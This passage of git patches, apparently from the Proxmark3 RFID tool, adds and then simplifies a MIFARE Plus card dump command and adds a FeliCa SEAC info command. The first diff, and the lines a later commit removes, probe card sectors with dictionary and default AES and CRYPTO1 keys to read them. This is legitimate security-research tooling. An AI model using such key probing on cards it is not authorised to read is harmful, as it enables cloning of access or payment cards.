int pre_sl3 = 0, pre_sl1 = 0; + for (uint8_t s = 0; s < numSectors; s++) { + if (sectorSL[s] == MFP_SL_3) pre_sl3++; + else if (sectorSL[s] == MFP_SL_1) pre_sl1++; + } + PrintAndLogEx(SUCCESS, "Sector classification: " _GREEN_("%d") " SL3, " _YELLOW_("%d") " SL1", + pre_sl3, pre_sl1); + } + + // ======================================== + // Phase 2: AES key probing (SL3 sectors only) + // ======================================== + // plus_key_check skips sectors where foundKeys[][sector][0] is set, + // so we mark SL1 sectors with a dummy key to exclude them. + { + // Save and temporarily mark SL1 sectors so plus_key_check skips them + uint8_t sl1_backup[2][64]; + memset(sl1_backup, 0, sizeof(sl1_backup)); + + for (uint8_t s = 0; s < numSectors; s++) { + if (sectorSL[s] == MFP_SL_1) { + for (uint8_t kt = 0; kt < 2; kt++) { + sl1_backup[kt][s] = aesFoundKeys[kt][s][0]; + if (aesFoundKeys[kt][s][0] == 0) { + // Mark as "found" with dummy so plus_key_check skips it + aesFoundKeys[kt][s][0] = 0xFF; + } + } + } + } + + bool need_aes_probe = false; + for (uint8_t s = 0; s < numSectors; s++) { + if (sectorSL[s] == MFP_SL_3 && + (aesFoundKeys[0][s][0] == 0 || aesFoundKeys[1][s][0] == 0)) { + need_aes_probe = true; + break; + } + } + + if (need_aes_probe && !no_default) { + uint8_t *key_block = NULL; + uint32_t keycnt = 0; + res = mfp_load_keys(&key_block, &keycnt, NULL, 0, dict_fn, dictfnlen, card.uid, true); + if (res == PM3_SUCCESS && keycnt > 0) { + int sl3_unknown = 0; + for (uint8_t s = 0; s < numSectors; s++) { + if (sectorSL[s] == MFP_SL_3 && + (aesFoundKeys[0][s][0] == 0 || aesFoundKeys[1][s][0] == 0)) { + sl3_unknown++; + } + } + PrintAndLogEx(INFO, "Probing " _YELLOW_("%u") " AES keys against %d SL3 sectors...", keycnt, sl3_unknown); + uint8_t end_sector = numSectors - 1; + res = plus_key_check(0, end_sector, 0, 1, key_block, keycnt, aesFoundKeys, verbose, true); + if (res == PM3_EOPABORTED) { + PrintAndLogEx(WARNING, "\nAborted"); + } + PrintAndLogEx(NORMAL, ""); + } + free(key_block); + } + + // Restore SL1 sector dummy markers + for (uint8_t s = 0; s < numSectors; s++) { + if (sectorSL[s] == MFP_SL_1) { + for (uint8_t kt = 0; kt < 2; kt++) { + if (aesFoundKeys[kt][s][0] == 0xFF) { + aesFoundKeys[kt][s][0] = sl1_backup[kt][s]; + } + } + } + } + } + + // ======================================== + // Phase 3: MFC key probing (SL1 sectors only) + // ======================================== + if (mfcProbeKeyCnt > 0 && mfcProbeKeys != NULL) { + int sl1_need_keys = 0; + for (uint8_t s = 0; s < numSectors; s++) { + if (sectorSL[s] == MFP_SL_1 && + (mfcFoundKeys[0][s][0] == 0 || mfcFoundKeys[1][s][0] == 0)) { + sl1_need_keys++; + } + } + + if (sl1_need_keys > 0) { + PrintAndLogEx(INFO, "Probing " _YELLOW_("%u") " MFC keys against %d SL1 sectors...", mfcProbeKeyCnt, sl1_need_keys); + for (uint8_t s = 0; s < numSectors; s++) { + if (kbd_enter_pressed()) { + PrintAndLogEx(WARNING, "\naborted via keyboard"); + break; + } + if (sectorSL[s] != MFP_SL_1) { + continue; + } + if (mfcFoundKeys[0][s][0] && mfcFoundKeys[1][s][0]) { + continue; + } + mfp_sl1_try_keys(s, mfcProbeKeys, mfcProbeKeyCnt, mfcFoundKeys, verbose); + } + PrintAndLogEx(NORMAL, ""); + } + } + + // Restore firmware debug level before reading + setDeviceDebugLevel(dbg_curr, false); + + // ======================================== + // Phase 4: Read sectors with found keys // ======================================== uint16_t totalBlocks = 0; for (uint8_t s = 0; s < numSectors; s++) { @@ -2262,13 +2410,10 @@ static int CmdHFMFPDump(const char *Cmd) { return PM3_EMALLOC; } - uint8_t sectorSL[64]; - memset(sectorSL, MFP_SL_UNKNOWN, sizeof(sectorSL)); - uint8_t sectorRead[64]; memset(sectorRead, 0, sizeof(sectorRead)); - PrintAndLogEx(INFO, "Reading card data (detecting SL per sector)..."); + PrintAndLogEx(INFO, "Reading card data..."); int sectorsRead = 0; int sl3Count = 0; @@ -2285,65 +2430,43 @@ static int CmdHFMFPDump(const char *Cmd) { uint16_t blockOffset = mfFirstBlockOfSector(s); uint8_t blocksInSector = mfNumBlocksPerSector(s); - // --- Try SL3 (AES) first --- - for (uint8_t kt = 0; kt < 2 && !readOK; kt++) { - if (aesFoundKeys[kt][s][0] == 0) { - continue; - } + if (sectorSL[s] == MFP_SL_3) { + // --- Try SL3 (AES) --- + for (uint8_t kt = 0; kt < 2 && !readOK; kt++) { + if (aesFoundKeys[kt][s][0] == 0) { + continue; + } - uint8_t sector_data[16 * 16] = {0}; - res = mfpReadSector(s, kt, &aesFoundKeys[kt][s][1], sector_data, verbose); - if (res == PM3_SUCCESS) { - memcpy(carddata + (blockOffset * MFBLOCK_SIZE), sector_data, blocksInSector * MFBLOCK_SIZE); - sectorRead[s] = 1; - sectorSL[s] = MFP_SL_3; - readOK = true; - sectorsRead++; - sl3Count++; - } else if (verbose) { - PrintAndLogEx(DEBUG, "Sector %u SL3 key%s failed: %d", s, (kt == 0) ? "A" : "B", res); + uint8_t sector_data[16 * 16] = {0}; + res = mfpReadSector(s, kt, &aesFoundKeys[kt][s][1], sector_data, verbose); + if (res == PM3_SUCCESS) { + memcpy(carddata + (blockOffset * MFBLOCK_SIZE), sector_data, blocksInSector * MFBLOCK_SIZE); + sectorRead[s] = 1; + readOK = true; + sectorsRead++; + sl3Count++; + } else if (verbose) { + PrintAndLogEx(DEBUG, "Sector %u SL3 key%s failed: %d", s, (kt == 0) ? "A" : "B", res); + } } - } + } else if (sectorSL[s] == MFP_SL_1) { + // --- Try SL1 (CRYPTO1) --- + DropField(); + for (uint8_t kt = 0; kt < 2 && !readOK; kt++) { + if (mfcFoundKeys[kt][s][0] == 0) { + continue; + } - // --- Try SL1 (CRYPTO1) if SL3 failed --- - // First try pre-loaded keys from MFC key file - for (uint8_t kt = 0; kt < 2 && !readOK; kt++) { - if (mfcFoundKeys[kt][s][0] == 0) { - continue; - } - - uint8_t sector_data[16 * 16] = {0}; - res = mfp_read_sector_sl1(s, kt, &mfcFoundKeys[kt][s][1], sector_data, verbose); - if (res == PM3_SUCCESS) { - memcpy(carddata + (blockOffset * MFBLOCK_SIZE), sector_data, blocksInSector * MFBLOCK_SIZE); - sectorRead[s] = 1; - sectorSL[s] = MFP_SL_1; - readOK = true; - sectorsRead++; - sl1Count++; - } else if (verbose) { - PrintAndLogEx(DEBUG, "Sector %u SL1 key%s failed: %d", s, (kt == 0) ? "A" : "B", res); - } - } - - // If still not read, try probing MFC dictionary/default keys - if (!readOK && mfcProbeKeys != NULL && mfcProbeKeyCnt > 0) { - if (mfp_sl1_try_keys(s, mfcProbeKeys, mfcProbeKeyCnt, mfcFoundKeys, verbose)) { - // Key found and stored in mfcFoundKeys, now read sector - for (uint8_t kt = 0; kt < 2 && !readOK; kt++) { - if (mfcFoundKeys[kt][s][0] == 0) { - continue; - } - uint8_t sector_data[16 * 16] = {0}; - res = mfp_read_sector_sl1(s, kt, &mfcFoundKeys[kt][s][1], sector_data, verbose); - if (res == PM3_SUCCESS) { - memcpy(carddata + (blockOffset * MFBLOCK_SIZE), sector_data, blocksInSector * MFBLOCK_SIZE); - sectorRead[s] = 1; - sectorSL[s] = MFP_SL_1; - readOK = true; - sectorsRead++; - sl1Count++; - } + uint8_t sector_data[16 * 16] = {0}; + res = mfp_read_sector_sl1(s, kt, &mfcFoundKeys[kt][s][1], sector_data, verbose); + if (res == PM3_SUCCESS) { + memcpy(carddata + (blockOffset * MFBLOCK_SIZE), sector_data, blocksInSector * MFBLOCK_SIZE); + sectorRead[s] = 1; + readOK = true; + sectorsRead++; + sl1Count++; + } else if (verbose) { + PrintAndLogEx(DEBUG, "Sector %u SL1 key%s failed: %d", s, (kt == 0) ? "A" : "B", res); } } } From 7bdd677e3687e1409628629ffd4e3ab8699358ec Mon Sep 17 00:00:00 2001 From: apply-science <106422483+apply-science@users.noreply.github.com> Date: Sat, 7 Mar 2026 17:55:28 +0100 Subject: [PATCH 067/162] Update CHANGELOG with new commands and features Signed-off-by: apply-science <106422483+apply-science@users.noreply.github.com> --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index c721610ed..dd03e92f7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Added `hf mfp dump` command (@apply-science) - Added `hf mfdes bruteisofid` and `hf mfdes selectisofid` commands (@kormax) - Added DESFire AID values related to LEAF (@kormax) - Added `dict`, `ascii`, `mad` presets for `hf mfdes bruteaid` (@kormax) From a413c906ed58e010b8e23e94b6f60d8ed9af7df3 Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Sun, 8 Mar 2026 08:24:07 +0200 Subject: [PATCH 068/162] Introduce 'hf felica seacinfo' command --- CHANGELOG.md | 1 + client/src/cmdhffelica.c | 109 +++++++++++++++++++++++++++++++++++++++ 2 files changed, 110 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index c721610ed..083925cc0 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Added `hf felica seacinfo` command (@kormax) - Added `hf mfdes bruteisofid` and `hf mfdes selectisofid` commands (@kormax) - Added DESFire AID values related to LEAF (@kormax) - Added `dict`, `ascii`, `mad` presets for `hf mfdes bruteaid` (@kormax) diff --git a/client/src/cmdhffelica.c b/client/src/cmdhffelica.c index 69c1ab8fc..aca155b2a 100644 --- a/client/src/cmdhffelica.c +++ b/client/src/cmdhffelica.c @@ -26,6 +26,7 @@ #include "cmdtrace.h" #include "crc16.h" #include "util.h" +#include "commonutil.h" // ARRAYLEN #include "ui.h" #include "iso18.h" // felica_card_select_t struct #include "protocols.h" @@ -53,6 +54,9 @@ #define FELICA_CONTAINER_PROPERTY_MAX_LEN 64U #define FELICA_OPTIONAL_CMD_TIMEOUT_MS 250U #define FELICA_OPTIONAL_CMD_RETRIES 3U +#define FELICA_SEAC_POLL_TIMEOUT_MS 200U +#define FELICA_SEAC_POLL_RETRY_COUNT 5U +#define FELICA_SEAC_POLL_FRAME_LEN 5U #define FELICA_SERVICE_ATTRIBUTE_UNAUTH_READ (0b000001) #define FELICA_SERVICE_ATTRIBUTE_READ_ONLY (0b000010) @@ -432,6 +436,95 @@ static bool waitCmdFelica(bool iSelect, PacketResponseNG *resp, bool verbose) { return waitCmdFelicaEx(iSelect, resp, verbose, true, FELICA_DEFAULT_TIMEOUT_MS); } +// SEAC responses appear to echo the full command payload before card-specific bytes. +static bool get_seac_response_data(const PacketResponseNG *resp, const uint8_t *cmd_frame, + size_t cmd_frame_len, const uint8_t **response_data, + size_t *response_data_len) { + if (resp == NULL || cmd_frame == NULL || response_data == NULL || response_data_len == NULL) { + return false; + } + + *response_data = NULL; + *response_data_len = 0; + + if (cmd_frame_len < 2 || resp->length < (3U + (cmd_frame_len - 1U) + 2U)) { + return false; + } + + if (resp->data.asBytes[0] != 0xB2 || resp->data.asBytes[1] != 0x4D) { + return false; + } + + if (check_crc(CRC_FELICA, resp->data.asBytes + 2, resp->length - 2) == false) { + return false; + } + + const size_t frame_len = resp->data.asBytes[2]; + const size_t echoed_payload_len = cmd_frame_len - 1U; + if (frame_len <= (1U + echoed_payload_len)) { + return false; + } + + const size_t decoded_frame_len = frame_len + 4U; + if (decoded_frame_len > resp->length) { + return false; + } + + // Unlike standard FeliCa, SEAC keeps the response code equal to the request code. + if (resp->data.asBytes[3] != cmd_frame[1]) { + return false; + } + + if (memcmp(resp->data.asBytes + 3, cmd_frame + 1, echoed_payload_len) != 0) { + return false; + } + + const size_t response_offset = 3U + echoed_payload_len; + const size_t response_len = frame_len - 1U - echoed_payload_len; + if ((response_offset + response_len + 2U) > decoded_frame_len) { + return false; + } + + *response_data = resp->data.asBytes + response_offset; + *response_data_len = response_len; + return true; +} + +static int info_seac(void) { + static const uint8_t seac_poll_frames[][FELICA_SEAC_POLL_FRAME_LEN] = { + // {0x05, FELICA_POLL_REQ, 0x01, 0x01, 0x0F}, + {0x05, FELICA_POLL_REQ, 0x01, 0x01, 0x01}, + }; + const uint8_t seac_flags = FELICA_CONNECT | FELICA_RAW | FELICA_APPEND_CRC | FELICA_NO_SELECT; + + for (size_t i = 0; i < ARRAYLEN(seac_poll_frames); i++) { + PacketResponseNG resp; + if (send_felica_payload_with_retries(seac_flags, sizeof(seac_poll_frames[i]), + (uint8_t *)seac_poll_frames[i], false, + -1, FELICA_SEAC_POLL_TIMEOUT_MS, FELICA_SEAC_POLL_RETRY_COUNT, + false, &resp, NULL) != PM3_SUCCESS) { + continue; + } + + const uint8_t *response_data = NULL; + size_t response_data_len = 0; + if (get_seac_response_data(&resp, seac_poll_frames[i], sizeof(seac_poll_frames[i]), + &response_data, &response_data_len) == false) { + continue; + } + + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "--- " _CYAN_("Tag Information") " ---------------------------"); + PrintAndLogEx(INFO, "Type........... " _YELLOW_("FeliCa SEAC")); + PrintAndLogEx(INFO, "IDSEAC......... " _YELLOW_("%s"), + sprint_hex_inrow(response_data, response_data_len)); + PrintAndLogEx(NORMAL, ""); + return PM3_SUCCESS; + } + + return PM3_ETIMEOUT; +} + /** * Adds the last known IDm (8-Byte) to the data frame. @@ -907,6 +1000,21 @@ static int CmdHFFelicaInfo(const char *Cmd) { return info_felica(false); } +static int CmdHFFelicaSeacInfo(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf felica seacinfo", + "Get info about FeliCa SEAC cards", + "hf felica seacinfo"); + + void *argtable[] = { + arg_param_begin, + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + CLIParserFree(ctx); + return info_seac(); +} + /** * Clears command buffer and sends the given data to pm3 with NG mode. */ @@ -3716,6 +3824,7 @@ static command_t CommandTable[] = { {"list", CmdHFFelicaList, AlwaysAvailable, "List ISO 18092/FeliCa history"}, {"-----------", CmdHelp, AlwaysAvailable, "----------------------- " _CYAN_("Operations") " -----------------------"}, {"info", CmdHFFelicaInfo, IfPm3Felica, "Tag information"}, + {"seacinfo", CmdHFFelicaSeacInfo, IfPm3Felica, "FeliCa SEAC tag information"}, {"raw", CmdHFFelicaCmdRaw, IfPm3Felica, "Send raw hex data to tag"}, {"rdbl", CmdHFFelicaReadPlain, IfPm3Felica, "read block data from authentication-not-required Service."}, {"reader", CmdHFFelicaReader, IfPm3Felica, "Act like an ISO18092/FeliCa reader"}, From 03d6da87e2ef2ea644f3540c5d433a51f1227d96 Mon Sep 17 00:00:00 2001 From: Tomas Nilsson Date: Sun, 8 Mar 2026 18:35:11 +0100 Subject: [PATCH 069/162] Simplify hf mfp dump: remove key probing, load-and-read only Restructure hf mfp dump to match hf mf dump pattern: load keys from files, read sectors, save. Remove all key probing/checking logic (use hf mfp chk and hf mf chk separately for key discovery). Use MF_KEY_A/MF_KEY_B defines instead of magic numbers. Replace custom JSON parser with existing loadFileJSON infrastructure. --- client/src/cmdhfmfp.c | 390 +++++++----------------------------------- 1 file changed, 59 insertions(+), 331 deletions(-) diff --git a/client/src/cmdhfmfp.c b/client/src/cmdhfmfp.c index b393af092..a6b182fd1 100644 --- a/client/src/cmdhfmfp.c +++ b/client/src/cmdhfmfp.c @@ -38,8 +38,6 @@ #include "mifare/mifarehost.h" // mf_read_sector (SL1 CRYPTO1) #include "cmdtrace.h" #include "crypto/originality.h" -#include "jansson.h" -#include "preferences.h" // getDeviceDebugLevel, setDeviceDebugLevel static const uint8_t mfp_default_key[16] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; static uint16_t mfp_card_adresses[] = {0x9000, 0x9001, 0x9002, 0x9003, 0x9004, 0x9006, 0x9007, 0xA000, 0xA001, 0xA080, 0xA081, 0xC000, 0xC001}; @@ -1905,41 +1903,37 @@ static int CmdHFMFPChk(const char *Cmd) { static int mfp_load_keys_from_json(const char *filename, uint8_t foundKeys[2][64][AES_KEY_LEN + 1]) { - json_t *root = NULL; - int res = loadFileJSONroot(filename, (void **)&root, true); + // loadFileJSON handles "mfpkeys" file type via loadFileJSONex. + // Buffer layout: UID(7) + pad(3) + SAK(1) + ATQA(2) + ATSlen(1) + ATS(atslen) + // then flat keys: KeyA0(16) KeyB0(16) KeyA1(16) KeyB1(16) ... + uint8_t data[14 + 256 + (2 * 64 * AES_KEY_LEN)]; + memset(data, 0, sizeof(data)); + size_t datalen = 0; + + int res = loadFileJSON(filename, data, sizeof(data), &datalen, NULL); if (res != PM3_SUCCESS) { return res; } - // check file type - json_t *jtype = json_object_get(root, "FileType"); - if (!jtype || !json_is_string(jtype) || strcmp(json_string_value(jtype), "mfpkeys") != 0) { - PrintAndLogEx(ERR, "Key file is not a MIFARE Plus key file"); - json_decref(root); - return PM3_EFILE; - } - - char path[64]; - uint8_t tmpkey[AES_KEY_LEN]; - size_t tmplen = 0; + uint8_t atslen = data[13]; + size_t key_offset = 14 + atslen; for (int i = 0; i < 64; i++) { - snprintf(path, sizeof(path), "$.SectorKeys.%d.KeyA", i); - tmplen = 0; - if (JsonLoadBufAsHex(root, path, tmpkey, AES_KEY_LEN, &tmplen) == 0 && tmplen == AES_KEY_LEN) { - foundKeys[0][i][0] = 1; - memcpy(&foundKeys[0][i][1], tmpkey, AES_KEY_LEN); - } + size_t off = key_offset + (i * 2 * AES_KEY_LEN); + uint8_t *ka = data + off; + uint8_t *kb = data + off + AES_KEY_LEN; - snprintf(path, sizeof(path), "$.SectorKeys.%d.KeyB", i); - tmplen = 0; - if (JsonLoadBufAsHex(root, path, tmpkey, AES_KEY_LEN, &tmplen) == 0 && tmplen == AES_KEY_LEN) { - foundKeys[1][i][0] = 1; - memcpy(&foundKeys[1][i][1], tmpkey, AES_KEY_LEN); + // check if key is non-zero (present in JSON) + if (memcmp(ka, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", AES_KEY_LEN) != 0) { + foundKeys[MF_KEY_A][i][0] = 1; + memcpy(&foundKeys[MF_KEY_A][i][1], ka, AES_KEY_LEN); + } + if (memcmp(kb, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", AES_KEY_LEN) != 0) { + foundKeys[MF_KEY_B][i][0] = 1; + memcpy(&foundKeys[MF_KEY_B][i][1], kb, AES_KEY_LEN); } } - json_decref(root); return PM3_SUCCESS; } @@ -1961,13 +1955,13 @@ static int mfp_load_mfc_keys_from_bin(const char *filename, uint8_t mfcFoundKeys } for (uint8_t s = 0; s < numSectors && s * MIFARE_KEY_SIZE < alen; s++) { - mfcFoundKeys[0][s][0] = 1; - memcpy(&mfcFoundKeys[0][s][1], keyA + s * MIFARE_KEY_SIZE, MIFARE_KEY_SIZE); + mfcFoundKeys[MF_KEY_A][s][0] = 1; + memcpy(&mfcFoundKeys[MF_KEY_A][s][1], keyA + s * MIFARE_KEY_SIZE, MIFARE_KEY_SIZE); } for (uint8_t s = 0; s < numSectors && s * MIFARE_KEY_SIZE < blen; s++) { - mfcFoundKeys[1][s][0] = 1; - memcpy(&mfcFoundKeys[1][s][1], keyB + s * MIFARE_KEY_SIZE, MIFARE_KEY_SIZE); + mfcFoundKeys[MF_KEY_B][s][0] = 1; + memcpy(&mfcFoundKeys[MF_KEY_B][s][1], keyB + s * MIFARE_KEY_SIZE, MIFARE_KEY_SIZE); } free(keyA); @@ -1984,92 +1978,25 @@ static int mfp_read_sector_sl1(uint8_t sectorNo, uint8_t keyType, const uint8_t return res; } -// Build a list of default MFC 6-byte keys for SL1 probing -static int mfp_load_mfc_default_keys(uint8_t **pkeyBlock, uint32_t *pkeycnt) { - size_t numDefaults = ARRAYLEN(g_mifare_default_keys); - *pkeyBlock = calloc(numDefaults, MIFARE_KEY_SIZE); - if (*pkeyBlock == NULL) { - return PM3_EMALLOC; - } - - for (size_t i = 0; i < numDefaults; i++) { - num_to_bytes(g_mifare_default_keys[i], MIFARE_KEY_SIZE, *pkeyBlock + i * MIFARE_KEY_SIZE); - } - *pkeycnt = numDefaults; - return PM3_SUCCESS; -} - -// Try to find an MFC (CRYPTO1) key for a sector by attempting to read it. -// Uses mf_read_sector which has a proper timeout, unlike mf_check_keys -// which can hang in firmware if the card doesn't respond to ISO 14443-3. -// Returns true if a working key was found. -// Try MFC (CRYPTO1) keys on a sector using mf_read_sector. -// Returns true if a working key was found (stored in mfcFoundKeys). -// Bails out early if the card doesn't respond to ISO 14443-3 select -// (PM3_ETIMEOUT), which means the sector is SL3-only. -static bool mfp_sl1_try_keys(uint8_t sectorNo, uint8_t *keys, uint32_t keycnt, - uint8_t mfcFoundKeys[2][64][MIFARE_KEY_SIZE + 1], bool verbose) { - - uint8_t dummy[16 * 16] = {0}; - - for (uint8_t kt = 0; kt < 2; kt++) { - if (mfcFoundKeys[kt][sectorNo][0]) { - continue; - } - - for (uint32_t i = 0; i < keycnt; i++) { - uint8_t *trykey = keys + i * MIFARE_KEY_SIZE; - int res = mf_read_sector(sectorNo, kt, trykey, dummy); - if (res == PM3_SUCCESS) { - mfcFoundKeys[kt][sectorNo][0] = 1; - memcpy(&mfcFoundKeys[kt][sectorNo][1], trykey, MIFARE_KEY_SIZE); - if (verbose) { - PrintAndLogEx(INFO, "SL1 key found: sector %u key%s [ " _GREEN_("%s") " ]", - sectorNo, (kt == 0) ? "A" : "B", - sprint_hex_inrow(trykey, MIFARE_KEY_SIZE)); - } else { - PrintAndLogEx(NORMAL, "+" NOLF); - } - return true; - } - // Timeout means card doesn't respond to ISO 14443-3 select at all. - // This sector is SL3-only; no point trying more CRYPTO1 keys. - if (res == PM3_ETIMEOUT) { - if (verbose) { - PrintAndLogEx(DEBUG, "Sector %u not responding to ISO 14443-3, skipping MFC probe", sectorNo); - } - return false; - } - } - } - return false; -} - static int CmdHFMFPDump(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf mfp dump", "Dump MIFARE Plus tag to file (bin/json)\n" - "Supports both SL3 (AES) and SL1 (CRYPTO1) sectors.\n" - "Automatically detects sector security level.\n" + "Reads sectors using keys from `hf mfp chk --dump` (AES/SL3)\n" + "and/or `hf mf chk` key file (CRYPTO1/SL1) for mixed-mode cards.\n" "If no given, UID will be used as filename", - "hf mfp dump\n" "hf mfp dump --keys hf-mfp-01020304-key.json\n" - "hf mfp dump -k ffffffffffffffffffffffffffffffff\n" - "hf mfp dump --dict mfp_default_keys\n" "hf mfp dump --keys hf-mfp-01020304-key.json --mfc-keys hf-mf-01020304-key.bin\n" - "hf mfp dump --keys hf-mfp-01020304-key.json --mfc-dict mfc_default_keys\n"); + "hf mfp dump -k ffffffffffffffffffffffffffffffff\n"); void *argtable[] = { arg_param_begin, arg_str0("f", "file", "", "Specify a filename for dump file"), arg_str0(NULL, "keys", "", "AES key file from `hf mfp chk --dump` (JSON)"), arg_str0("k", "key", "", "AES key for all sectors (16 hex bytes)"), - arg_str0(NULL, "dict", "", "AES dictionary file"), arg_str0(NULL, "mfc-keys", "", "MFC key file for SL1 sectors (.bin from `hf mf chk`)"), - arg_str0(NULL, "mfc-dict", "", "MFC dictionary file for SL1 sectors"), arg_lit0(NULL, "ns", "No save to file"), arg_lit0("v", "verbose", "Verbose output"), - arg_lit0(NULL, "no-default", "Skip default key probing for unknown sectors"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -2086,21 +2013,12 @@ static int CmdHFMFPDump(const char *Cmd) { uint8_t userkey[AES_KEY_LEN] = {0}; CLIGetHexWithReturn(ctx, 3, userkey, &userkeylen); - int dictfnlen = 0; - char dict_fn[FILE_PATH_SIZE] = {0}; - CLIParamStrToBuf(arg_get_str(ctx, 4), (uint8_t *)dict_fn, FILE_PATH_SIZE, &dictfnlen); - int mfckeyfnlen = 0; char mfc_key_fn[FILE_PATH_SIZE] = {0}; - CLIParamStrToBuf(arg_get_str(ctx, 5), (uint8_t *)mfc_key_fn, FILE_PATH_SIZE, &mfckeyfnlen); + CLIParamStrToBuf(arg_get_str(ctx, 4), (uint8_t *)mfc_key_fn, FILE_PATH_SIZE, &mfckeyfnlen); - int mfcdictfnlen = 0; - char mfc_dict_fn[FILE_PATH_SIZE] = {0}; - CLIParamStrToBuf(arg_get_str(ctx, 6), (uint8_t *)mfc_dict_fn, FILE_PATH_SIZE, &mfcdictfnlen); - - bool nosave = arg_get_lit(ctx, 7); - bool verbose = arg_get_lit(ctx, 8); - bool no_default = arg_get_lit(ctx, 9); + bool nosave = arg_get_lit(ctx, 5); + bool verbose = arg_get_lit(ctx, 6); CLIParserFree(ctx); @@ -2137,7 +2055,7 @@ static int CmdHFMFPDump(const char *Cmd) { PrintAndLogEx(NORMAL, ""); // ======================================== - // Phase 0: Key file loading (no card interaction yet) + // Load keys // ======================================== // AES keys: aesFoundKeys[keytype][sector][0]=found, [1..16]=key @@ -2148,7 +2066,7 @@ static int CmdHFMFPDump(const char *Cmd) { uint8_t mfcFoundKeys[2][64][MIFARE_KEY_SIZE + 1]; memset(mfcFoundKeys, 0, sizeof(mfcFoundKeys)); - // 0a. Load AES keys from JSON key file (from hf mfp chk --dump) + // Load AES keys from JSON key file (from hf mfp chk --dump) if (keyfnlen > 0) { res = mfp_load_keys_from_json(key_fn, aesFoundKeys); if (res != PM3_SUCCESS) { @@ -2156,18 +2074,18 @@ static int CmdHFMFPDump(const char *Cmd) { } else { int cnt = 0; for (uint8_t s = 0; s < numSectors; s++) { - if (aesFoundKeys[0][s][0]) cnt++; - if (aesFoundKeys[1][s][0]) cnt++; + if (aesFoundKeys[MF_KEY_A][s][0]) cnt++; + if (aesFoundKeys[MF_KEY_B][s][0]) cnt++; } PrintAndLogEx(SUCCESS, "Loaded " _GREEN_("%d") " AES keys from key file", cnt); } } - // 0b. Apply user-supplied AES key to all slots that don't have one yet + // Apply user-supplied AES key to all slots that don't have one yet if (userkeylen == AES_KEY_LEN) { int applied = 0; for (uint8_t s = 0; s < numSectors; s++) { - for (uint8_t kt = 0; kt < 2; kt++) { + for (uint8_t kt = MF_KEY_A; kt <= MF_KEY_B; kt++) { if (aesFoundKeys[kt][s][0] == 0) { aesFoundKeys[kt][s][0] = 1; memcpy(&aesFoundKeys[kt][s][1], userkey, AES_KEY_LEN); @@ -2178,7 +2096,7 @@ static int CmdHFMFPDump(const char *Cmd) { PrintAndLogEx(SUCCESS, "Applied user AES key to " _GREEN_("%d") " key slots", applied); } - // 0c. Load MFC keys from binary key file (from hf mf chk/autopwn) + // Load MFC keys from binary key file (from hf mf chk) if (mfckeyfnlen > 0) { res = mfp_load_mfc_keys_from_bin(mfc_key_fn, mfcFoundKeys, numSectors); if (res != PM3_SUCCESS) { @@ -2186,218 +2104,29 @@ static int CmdHFMFPDump(const char *Cmd) { } else { int cnt = 0; for (uint8_t s = 0; s < numSectors; s++) { - if (mfcFoundKeys[0][s][0]) cnt++; - if (mfcFoundKeys[1][s][0]) cnt++; + if (mfcFoundKeys[MF_KEY_A][s][0]) cnt++; + if (mfcFoundKeys[MF_KEY_B][s][0]) cnt++; } PrintAndLogEx(SUCCESS, "Loaded " _GREEN_("%d") " MFC (CRYPTO1) keys from key file", cnt); } } - // 0d. Build combined MFC probe key list (dictionary + defaults) - uint8_t *mfcProbeKeys = NULL; - uint32_t mfcProbeKeyCnt = 0; - - if (!no_default) { - uint8_t *dict_keys = NULL; - uint32_t dict_cnt = 0; - if (mfcdictfnlen > 0) { - loadFileDICTIONARY_safe(mfc_dict_fn, (void **)&dict_keys, MIFARE_KEY_SIZE, &dict_cnt); - } - - uint8_t *def_keys = NULL; - uint32_t def_cnt = 0; - mfp_load_mfc_default_keys(&def_keys, &def_cnt); - - uint32_t total = dict_cnt + def_cnt; - if (total > 0) { - mfcProbeKeys = calloc(total, MIFARE_KEY_SIZE); - if (mfcProbeKeys) { - if (dict_cnt > 0) { - memcpy(mfcProbeKeys, dict_keys, dict_cnt * MIFARE_KEY_SIZE); - } - if (def_cnt > 0) { - memcpy(mfcProbeKeys + dict_cnt * MIFARE_KEY_SIZE, def_keys, def_cnt * MIFARE_KEY_SIZE); - } - mfcProbeKeyCnt = total; - } - } - free(dict_keys); - free(def_keys); - } - // ======================================== - // Phase 1: Classify sectors as SL3 or SL1 + // Read sectors with loaded keys // ======================================== - // Try one MFC key (FFFFFFFFFFFF) on each sector to determine SL. - // mf_read_sector returns: - // PM3_SUCCESS -> SL1 confirmed, key found - // PM3_EUNDEF -> SL1 confirmed (card responded to ISO 14443-3 auth), wrong key - // PM3_ETIMEOUT -> SL3 (card doesn't respond to ISO 14443-3) - - // Suppress firmware debug messages during classification and key probing. - // The many auth attempts produce a flood of "Auth error" / "Can't select card" - // messages from the firmware that interfere with other tools reading stdout. - uint8_t dbg_curr = DBG_NONE; - if (getDeviceDebugLevel(&dbg_curr) != PM3_SUCCESS) { - free(mfcProbeKeys); - return PM3_EFAILED; - } - setDeviceDebugLevel(DBG_NONE, false); + // Determine SL for each sector based on which keys are available uint8_t sectorSL[64]; memset(sectorSL, MFP_SL_UNKNOWN, sizeof(sectorSL)); - - // Sectors with pre-loaded keys already have a known SL for (uint8_t s = 0; s < 